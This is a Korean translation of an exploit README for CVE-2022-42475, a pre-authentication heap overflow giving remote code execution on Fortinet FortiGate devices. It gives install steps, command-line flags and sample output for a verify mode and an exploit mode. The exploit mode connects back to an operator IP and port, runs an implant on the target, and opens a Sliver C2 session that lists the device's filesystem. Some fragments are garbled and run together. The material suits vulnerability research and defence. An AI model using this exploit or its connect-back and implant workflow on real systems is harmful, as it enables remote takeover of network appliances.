
CVE-2022-42475를 위한 익스플로잇, Fortinet 네트워킹 제품의 사전 인증 힙 오버플로우 취약점
이것은 블로그 게시물(https://bishopfox.com/blog/exploit-cve-2022-42475)에 대한 익스플로잇입니다.
이 익스플로잇 버전은 해커가 ROP 가젯 등에 필요한 메모리 주소를 직접 제공하지 않으면 작동하지 않습니다. 이러한 데이터를 결정하는 작업은 Bishop Fox의 기밀 및 독점 정보이며, 이 익스플로잇과 함께 게시할 수 없습니다(게시하지 않을 것입니다). 이해해 주시기 바랍니다!
execve(binary_file)을 호출.참고: 현재 "검증 전용" 모드는 알려진 모든 FortiOS 버전에서 작동합니다. 그러나 익스플로잇은 오직 FortiOS 6.0.4 (100D 하드웨어)에서만 작동합니다. 저는 더 이상 BF에서 근무하지 않으므로, 약 18,000개 대상을 지원하는 확장 익스플로잇을 게시할 수 없습니다.
pip3 install PyCrypto
pip3 install pycryptodome
이 모드는 버그를 익스플로잇하려 시도하지 않고, 대신 충돌을 유발합니다 (원격 SSL VPN 데몬이 자동으로 즉시 재시작됨). 충돌은 휴리스틱하게 감지되어 운영자에게 보고됩니다.
-v 검증 플래그를 사용하여 실행:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 검증 전용 모드로 실행 중. RCE 없음.
[>] 대상이 취약한지 테스트 중 (약 10초 소요)
[+] 대상 '192.168.0.10:8443'이(가) 취약한 것으로 보입니다
이 모드는 버그를 트리거하고, ROP 체인을 배포한 후 셸코드로 점프합니다. 셸코드는 무해하며 다음과 같이 작동합니다:
0xbf 전송/tmp/x에 저장0xbf 바이트 전송플래그:
-t 대상 호스트/IP
-p 대상 포트
-e 익스플로잇 모드
-c 연결-백 전용 모드
-H 및 -P 운영자의 IP:포트 (필수)
-s FortiOS 소프트웨어 버전 (필수)
-m FortiOS를 실행하는 하드웨어 모델
-d 디버깅 활성화
소프트웨어 버전 6.0.4와 기기 모델 100D를 선택한 예:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 페이로드 암호화를 위한 무작위 128비트 AES 키 생성 중
[+] 페이로드 암호화 중...
[+] 캐시된 셸코드 사용 중. 강제로 새로고침하려면 ./x.py에서 'shellcode.s'를 수정하세요.
[+] 192.168.0.99:443으로 연결-백하도록 구성됨
[+] 암호화된 페이로드 리스너 시작 중...
[+] 익스플로잇 준비 중...
[+] 요청 전송 중!
[+] 'exploit_data.json'에서 가젯 가져오는 중
[<] 리스너가 포트 443에 바인딩됨, 연결-백 대기 중...
[+] 가젯 검증 중...
[!] FortiOS '5.2.14'에 대해 정의된 기능적 하드웨어 모델 없음. 제거됨.
[!] FortiOS '5.6.9'에 대해 정의된 기능적 하드웨어 모델 없음. 제거됨.
[+] 797개 대상 가져옴:
[-] 6.0.4 [ 1 targets ] <=== 100D
[-] 5.2.14 [ 47 targets ]
[-] 5.6.9 [ 60 targets ]
[-] 6.0.13 [ 68 targets ]
[-] 6.0.14 [ 67 targets ]
[-] 6.0.15 [ 58 targets ]
[-] 6.0.8 [ 67 targets ]
[-] 6.2.11 [ 69 targets ]
[-] 6.2.7 [ 75 targets ]
[-] 6.4.10 [ 71 targets ]
[-] 6.4.2 [ 62 targets ]
[-] 6.4.3 [ 61 targets ]
[-] 6.4.6 [ 73 targets ]
[-] 6.4.9 [ 72 targets ]
[-] 7.0.4 [ 53 targets ]
[+] 익스플로잇 시작
[<] 192.168.0.10:22470에서 들어오는 요청
[<] 대상에서 hello 패킷 수신!! 모델 #: 100D
[<] 암호화된 페이로드 36바이트 전송 중
[<] 페이로드 전송 완료 (36바이트), 응답 대기 중...
[<] 192.168.0.10으로부터 예상 응답 ('100D') 수신
[<] 대상은 100% 신뢰도로 VULNERABLE(취약)입니다.
[+] 모두 완료!
하드웨어 모델을 선택하기 위해 -m을 생략하면, 익스플로잇은 지정된 소프트웨어 버전에 대해 모든 하드웨어 대상을 무차별 대입(brute-force)합니다.
0xbf 전송/tmp/x에 저장0xbf 바이트 전송execve("/tmp/x") 호출플래그:
-t 대상 호스트/IP
-p 대상 포트
-e 익스플로잇 모드
-f filename /path/to/binary/to/execve/on/target
-H 및 -P 운영자의 IP:포트 (연결-백용, 필수)
-s FortiOS 소프트웨어 버전 (필수)
-m FortiOS를 실행하는 하드웨어 모델
-d 디버깅 활성화
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
모든 해커는 무기를 얻는다
[*] 서버 v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Sliver 쉘에 오신 것을 환영합니다. 도움말을 보려면 'help'를 입력하세요
[server] sliver > mtls -l 8888
[*] mTLS 리스너 시작 중 ...
[*] 작업 #1이 성공적으로 시작되었습니다
익스플로잇:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 익스플로잇이 대상에서 execve("implant5")를 시도합니다
...
[<] 대상은 100% 신뢰도로 VULNERABLE(취약)입니다.
[+] 모두 완료.
그리고 Sliver로 돌아가서:
[*] 세션 d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - 2023년 3월 6일 월요일 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] 활성 세션 implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
로그온 ID: <err>
[server] sliver (implant5) > ls
/ (19개 항목, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B 2023년 1월 31일 화요일 11:31:57 +0000
drwxr-xr-x bin <dir> 2023년 1월 31일 화요일 11:04:35 +0000
drwxr-xr-x data <dir> 2023년 1월 31일 화요일 05:24:10 +0000
drwxr-xr-x data2 <dir> 2023년 1월 31일 화요일 11:40:01 +0000
drwxr-xr-x dev <dir> 2023년 1월 31일 화요일 05:26:16 +0000
Lrwxrwxrwx etc -> data/etc 8 B 2019년 1월 7일 월요일 18:03:23 +0000
Lrwxrwxrwx fortidev -> / 1 B 2019년 1월 7일 월요일 18:03:23 +0000
Lrwxrwxrwx init -> /sbin/init 10 B 2019년 1월 7일 월요일 18:03:23 +0000
drwxr-xr-x lib <dir> 2019년 1월 7일 월요일 18:03:30 +0000
Lrwxrwxrwx lib64 -> lib 3 B 2019년 1월 7일 월요일 18:03:23 +0000
drwxr-xr-x migadmin <dir> 2023년 1월 31일 화요일 05:23:26 +0000
dr-xr-xr-x proc <dir> 2023년 1월 31일 화요일 05:23:13 +0000
drwx------ root <dir> 2019년 1월 7일 월요일 17:17:34 +0000
drwxr-xr-x sbin <dir> 2023년 1월 31일 화요일 05:23:27 +0000
drwxr-xr-x security-rating <dir> 2019년 1월 7일 월요일 18:01:04 +0000
drwxr-xr-x sys <dir> 2023년 1월 31일 화요일 05:23:27 +0000
dtrwxrwxrwx tmp <dir> 2023년 1월 31일 화요일 11:40:01 +0000
drwxr-xr-x usr <dir> 2023년 1월 31일 화요일 05:23:27 +0000
drwxr-xr-x var <dir> 2023년 1월 31일 화요일 05:24:07 +0000
Sliver가 <err>를 반환하는 이유는 FortiOS가 리눅스와 거의 비슷하지만 항상 예상대로 작동하지는 않기 때문입니다. 이는 Sliver의 문제가 아니라 FortiOS의 문제입니다.
저는 더 이상 Bishop Fox에서 근무하지 않으므로, 업데이트를 위해 BF GitHub를 확인하시기 바랍니다.